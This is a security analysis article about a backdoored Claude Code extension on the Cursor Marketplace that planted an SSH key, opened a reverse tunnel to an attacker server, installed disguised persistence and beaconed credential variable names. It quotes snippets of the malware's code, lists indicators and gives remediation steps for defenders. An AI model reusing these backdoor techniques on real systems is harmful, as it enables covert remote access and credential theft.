The extension marketplace is supposed to be the safe way to get developer tools. You browse, you click install, you trust that the publisher actually published what you’re getting. That trust took a direct hit this week when researchers discovered that the official Claude Code for VS Code extension on the Cursor Marketplace was shipping with a persistent SSH backdoor baked in.
Let’s be clear about what happened here. The malicious version, identified as 2.1.312 and 2.1.313, was distributed under Anthropic’s legitimate extension ID (anthropic.claude-code). This wasn’t a lookalike package or a typosquatted domain, it was the real extension, carrying the real publisher identity, with a 66-line malicious loader prepended to the legitimate extension.js bundle.

At most 5,000 users downloaded the compromised versions in the roughly 11-hour window it was live. Cursor has since pulled the marketplace, published version 2.1.314, and confirmed the attack server is offline. But the deeper problem isn’t the 5,000 potentially affected users, it’s what this incident reveals about the architectural fragility of how we distribute, trust, and run developer tooling.
The payload: SSH access, persistence, and a failure that saved some Macs
The technical execution is worth unpacking because it shows how much operational planning went into what was ultimately a fairly simple attack. Security researchers at Phorion published a detailed analysis of the backdoor chain on macOS.
The injected code executes as an immediately invoked function expression (IIFE), meaning it runs the moment Node.js loads the extension file, before the extension’s normal activate callback fires. The user doesn’t need to interact with Claude Code at all. Simply launching VS Code with the extension installed triggers the payload.
Stage 1: Plant the SSH key. The payload ensures ~/.ssh exists and appends an attacker-controlled Ed25519 public key to ~/.ssh/authorized_keys with the comment svc-telemetry. The check before appending is telling:
var sd = path.join(HOME, ".ssh"),
ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") < 0) {
fs.appendFileSync(ak, PUB + "\n");
d.sshKey = "added"
} else {
d.sshKey = "present"
}
The script checks for the comment string rather than the key itself, a minor detail, but one worth noting for investigators hunting for this activity. The key fingerprint is SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk.
Stage 2: Establish a reverse SSH tunnel. The payload decodes an embedded private key (svc-telemetry-tun) and uses it to authenticate to 134.209.82[.]225 as the tunnel user. The command uses -R *:0:localhost:22 for remote port forwarding, which asks the attacker’s server to allocate a dynamic listening port and forward traffic back through the tunnel to the victim’s local SSH daemon.
This is where things get interesting, and where a bug in the malware may have saved some Mac users.
The macOS bug that broke the chain. The script tries to enable Remote Login on macOS by checking systemsetup -getremotelogin and, if the output matches /Off/i, running sudo -n systemsetup -setremotelogin on. The problem? systemsetup -getremotelogin requires administrator privileges to even read the current state. When run as a standard user, it prints “You need administrator access to run this tool… exiting!” to stdout and, critically, exits with status 0.
Here’s the code:
// ...
else if (PLAT === "darwin") {
var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
d.remoteLogin = rl;
if (/Off/i.test(rl)) {
det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
d.remoteLoginOn = "tried"
}
}
Since the output is the administrator-access error, /Off/i.test(rl) evaluates to false, and the enablement step never runs. The script interprets “I can’t check if SSH is off” as “SSH is already on.” If Remote Login wasn’t already enabled on the Mac, the outbound tunnel still connects to the attacker’s server, but any traffic forwarded back through it hits a closed port 22 on localhost.
This is cold comfort, though. If the user already had Remote Login enabled, or turns it on later, the backdoor is fully functional. And the persistence mechanisms still get installed regardless.
Stage 3: Persistence. The payload sets up platform-specific persistence to survive reboots:
| Platform | Artifacts | Persistence Mechanism |
|---|---|---|
| Linux | ~/.config/.smt, ~/.config/.smtk |
@reboot crontab entry |
| macOS | ~/.config/.smt, ~/.config/.smtk, ~/Library/LaunchAgents/com.apple.sysmond.plist |
User LaunchAgent with RunAtLoad and KeepAlive |
| Windows | ~/.config/smt.cmd, %APPDATA%/.../Startup/sysmon.cmd |
Scheduled task SysMon (SYSTEM) or Startup folder fallback |
The macOS LaunchAgent disguises itself as com.apple.sysmond.plist, a classic masquerade that would pass casual inspection.
Stage 4: Beacon. The payload sends a one-off HTTP POST to 134.209.82[.]225:8099/beacon with hostname, username, OS details, public IP, and, notably, the names of up to 40 environment variables matching /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.
The values aren’t exfiltrated in the beacon. Just the names. But as security researcher Paul McCarty noted in his analysis, the names alone reveal which cloud providers, CI systems, and credential types are configured on the host. It’s a targeting map for follow-on access, and the SSH tunnel provides that access directly.
The real issue: publisher identity is not a security boundary
All of this happened because attackers managed to publish a malicious version under Anthropic’s legitimate extension ID on the Cursor Marketplace. The exact method remains unclear, Cursor hasn’t disclosed how the supply-chain compromise occurred, but the implication is uncomfortable.
The extension marketplace model runs on a simple trust assumption: if the publisher name and extension ID check out, the code is what the publisher intended. That assumption broke here in a way that mirrors the broader software supply chain attack patterns we’ve seen across npm, PyPI, and Docker Hub over the past year.
Cursor’s statement that the malicious version “was not developed by Anthropic” is technically true but misses the point entirely. The attackers distributed it as version 2.1.313 under Anthropic’s legitimate extension ID. The package didn’t need to be developed by Anthropic, it needed to appear to be from Anthropic at the moment of installation.
This is the same trust-at-installation problem that’s driving the surge in supply-chain attacks across package registries. Sonatype identified over 454,600 malicious open-source packages in 2025 alone, a 75% year-over-year increase. The pattern is consistent: attackers aren’t exploiting vulnerabilities in application code anymore. They’re exploiting the trust model of the distribution system itself.
Why AI-powered extensions are a uniquely juicy target
Let’s be direct about what this incident signals for the future of AI-powered developer tools. The Claude Code extension is not a passive code formatter. It’s an agent with broad permissions, file access, terminal access, network access, running inside the most privileged process on a developer’s machine.
This aligns with a pattern we’ve covered extensively, including how local AI agents with excessive permissions are a security disaster waiting to happen. When you install an AI coding extension, you’re not just adding a color scheme to your text editor. You’re granting an always-on, network-connected, highly-capable agent access to your source code, your SSH keys, your cloud credentials, and your CI/CD pipeline.
The threat modeling for this is fundamentally different from traditional IDE extensions. A linter that formats your code has a narrow attack surface. An AI agent that can read files, execute commands, and make network requests has a massive one. And the extension marketplace model, where updates are pushed automatically and users rarely review what changed, compounds the risk.
We’ve already seen what happens when AI agents get jailbroken and used as autonomous cyber weapons. The extension marketplace creates a distribution vector for the same class of software to reach thousands of developer machines simultaneously.
The auto-update problem
One detail from this incident deserves particular emphasis: if your Claude Code extension was set to auto-update, you may have consumed the malware without clicking anything.
Cursor’s timeline shows the malicious versions were available for approximately 11 hours before being pulled. Any developer who launched VS Code during that window, regardless of whether they actively used Claude Code, potentially executed the malicious payload. This is the same dynamic that makes dependency confusion and malicious package updates so dangerous: automatic updates assume the upstream source can be trusted, but the upstream source was the one that got compromised.
The LiteLLM compromise earlier this year demonstrated the same pattern in the Python ecosystem. A .pth file in site-packages executed a credential stealer on every Python interpreter startup, no import required, no usage required. The package management systems we rely on for patching and updates are becoming the attack surface themselves.
Detection and response: what to look for
If you’re an organization running Cursor or VS Code with the Claude Code extension, here’s what you should check:
Key indicators:
- SSH key artifacts: An Ed25519 public key with comment
svc-telemetryin~/.ssh/authorized_keys(fingerprintSHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk) - Tunnel keys: Files matching
<TMP>/.stk_*or~/.config/.smtk - Persistence artifacts:
~/Library/LaunchAgents/com.apple.sysmond.pliston macOS,~/.config/.smtand~/.config/.smtkon macOS/Linux,SysMonscheduled task or Startup foldersysmon.cmdon Windows - Network connections: Outbound SSH to
134.209.82[.]225on port 22, HTTP POST requests to the same IP on port 8099
Critical: uninstalling the extension doesn’t remove the backdoor. The payload installs persistence that survives extension removal. If you identify an affected machine, the full remediation steps include:
- Kill active tunnel processes (
ssh/autosshconnecting to the C2 IP) - Remove persistence (LaunchAgent, cron entry, scheduled task, Startup script)
- Clean up SSH keys (
svc-telemetryfromauthorized_keys,/tmp/.stk_*files) - Rotate any credentials accessible to the affected user account
Kevin Beaumont highlighted the silent-remediation risk: Anthropic’s replacement version 2.1.314, which auto-updates, does not remove the prior backdoors and recon activity from already-compromised systems.
The structural lesson: treat every extension like untrusted code
The uncomfortable truth is that we’ve been lucky. This payload was relatively simple, an SSH backdoor and host beacon. It wasn’t a credential harvester that exfiltrated every key on the system. It wasn’t the kind of multi-stage, encrypted-exfiltration toolkit that TeamPCP deployed against LiteLLM. But the vector is identical, and the next one won’t be so limited.
The extension marketplace model needs architectural changes:
1. Publisher verification is insufficient. A compromised publisher credential or CI/CD pipeline is all it takes to ship malicious code under a trusted identity. The OVHcloud CLI compromise, where five release binaries were replaced via a hijacked contributor account, demonstrates this pattern is spreading beyond IDEs.
2. Extensions need sandboxing. The fact that a VS Code extension can append to ~/.ssh/authorized_keys without any permission prompt is a design flaw. Browsers moved to permission-based extension APIs years ago, IDE extensions remain frozen in the “trust me, I’m an editor” era.
3. Updates need verification. Auto-updates that silently replace extension code provide the perfect distribution channel for this class of attack. At minimum, update diffs or code signing verification should be enforced at the client level, not just the marketplace level.
4. Behavioral detection matters. Process-only monitoring won’t catch an extension host writing to SSH keys via fs.appendFileSync. File integrity monitoring that flags unexpected changes to authentication files, regardless of the process making the change, is essential.
The challenges in building secure AI-powered vulnerability detection systems are relevant here too: even well-intentioned AI security tooling becomes an attack surface when it runs with broad access in CI/CD environments.
The bottom line
The backdoored Claude Code extension on Cursor Marketplace is a wake-up call, not a one-off incident. It arrives alongside a year of escalating supply-chain attacks targeting developer tooling, from Trivy to LiteLLM to OVHcloud CLI. The pattern is clear: attackers have identified developer environments, with their route to production infrastructure and cloud credentials, as the highest-value target in the entire software ecosystem.
Your IDE is no longer just a code editor. It’s a platform running third-party code with your permissions, often connected to your cloud, your repositories, and your CI/CD pipeline. Treat it accordingly. Audit your extensions. Monitor your SSH keys. And for the love of everything holy, don’t assume that because it’s listed in the official marketplace, it’s safe.
That’s not paranoia. It’s just realistic threat modeling, and it’s increasingly the only thing standing between your production environment and the next “official” extension update.




